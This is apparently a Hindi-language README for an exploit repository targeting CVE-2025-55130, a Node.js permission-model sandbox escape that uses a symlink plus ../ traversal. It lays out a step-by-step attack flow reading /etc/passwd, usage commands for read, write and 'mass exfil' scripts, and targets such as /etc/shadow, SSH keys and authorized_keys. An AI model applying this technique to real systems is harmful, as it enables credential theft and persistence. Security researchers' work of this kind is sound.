CVE-2025-55130 - Node.js अनुमति मॉडल सिमलिंक एस्केप
___ _ _ ___ ____ ___ ____ ____ ____ ____ _ _____ ___
/ __| | | | __|___/ _ \ / _ \___ \| ___| | ___| ___/ |___ // _ \
| (__| |_| | _|___| |_| || | | |__) |___ \ _____|__ \___ \ | |_ | | | |
\___|\___/|___| \__ ||_| |_|___/|_____|_____|__) |__) || |__) |_| |
|___/ |____/____/|_|____/\___/
Node.js अनुमति मॉडल बायपास क्राफ्टेड सिमलिंक के माध्यम से
[ खोजकर्ता: natann @ JFrog ]
अवलोकन
Node.js में एक पथ ट्रैवर्सल दोष है जो --allow-fs-read और --allow-fs-write
अनुमति प्रतिबंधों से बाहर निकलने की अनुमति देता है, जिसमें सिमलिंक का उपयोग निरपेक्ष पथों की ओर इंगित करने और सापेक्ष ट्रैवर्सल के साथ संयोजन करने से होता है।
अनुमति जांच और पथ समाधान अलग-अलग होते हैं। एक बार प्रारंभिक पथ अनुमति जांच पास कर लेता है, तो सिमलिंक का अनुसरण किया जाता है और ट्रैवर्सल अनुक्रम सैंडबॉक्स से बाहर निकल जाते हैं।
प्रभावित संस्करण
तकनीकी विश्लेषण
मूल कारण
अनुमति जांच: ./nested/dirs/symlink/../../../etc/passwd
^^^^^^^^^^^^^^^^^^ अनुमति (./ से शुरू होता है)
पथ समाधान: /actual/path/to/script/../../../etc/passwd
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
हल होकर /etc/passwd पर जाता है - सैंडबॉक्स के बाहर
अनुमति मॉडल सिमलिंक समाधान से पहले पथ स्ट्रिंग को मान्य करता है। सिमलिंक को निरपेक्ष पथ पर बनाकर और सिमलिंक के बाद ../ ट्रैवर्सल का उपयोग करके, हम अनुमत निर्देशिका से बाहर निकल जाते हैं।
हमला प्रवाह
1. mkdir -p ./a/b/c/d/e/f/g # अनुमत पथ में नेस्टेड निर्देशिकाएँ बनाएँ
2. ln -s $(pwd) ./a/b/c/d/e/f/g/x # सिमलिंक निरपेक्ष पथ पर
3. read ./a/b/c/d/e/f/g/x/../../../etc/passwd
^^^^^^^^^^^^^^^^^
अनुमति जांच पास (अंदर ./)
सिमलिंक समाधान के बाद:
/home/user/project/../../../etc/passwd -> /etc/passwd
^^^^^^^^^^^^^^^^^^^^
ट्रैवर्सल रूट से बाहर निकलता है
फ़ाइलें
| फ़ाइल | उद्देश्य |
|---|
exploit.js | मुख्य एक्सप्लॉइट - मनमानी फ़ाइलें पढ़ें |
exploit_write.js | मनमानी फ़ाइलें लिखें |
|
उपयोग
# बुनियादी शोषण
node --permission --allow-fs-read=. --allow-fs-write=. exploit.js
# जाँचें कि कमजोर है या नहीं
node check.js
# बड़े पैमाने पर एक्सफ़िल
node --permission --allow-fs-read=. --allow-fs-write=. exfil.js
प्रभाव
- संवेदनशील फ़ाइलें पढ़ें: /etc/passwd, /etc/shadow, SSH कुंजियाँ, कॉन्फ़िग
- मनमानी फ़ाइलें लिखें: क्रॉन जॉब, authorized_keys, कॉन्फ़िग
- मल्टी-टेनेंट वातावरण में कंटेनर एस्केप
- अविश्वसनीय कोड निष्पादन के लिए सैंडबॉक्स बायपास
संदर्भ
श्रेय
- भेद्यता: नतान नेहोराई (natann) @ JFrog सुरक्षा अनुसंधान
- सुधार: RafaelGSS @ Node.js
केवल अनुसंधान और अधिकृत परीक्षण के लिए।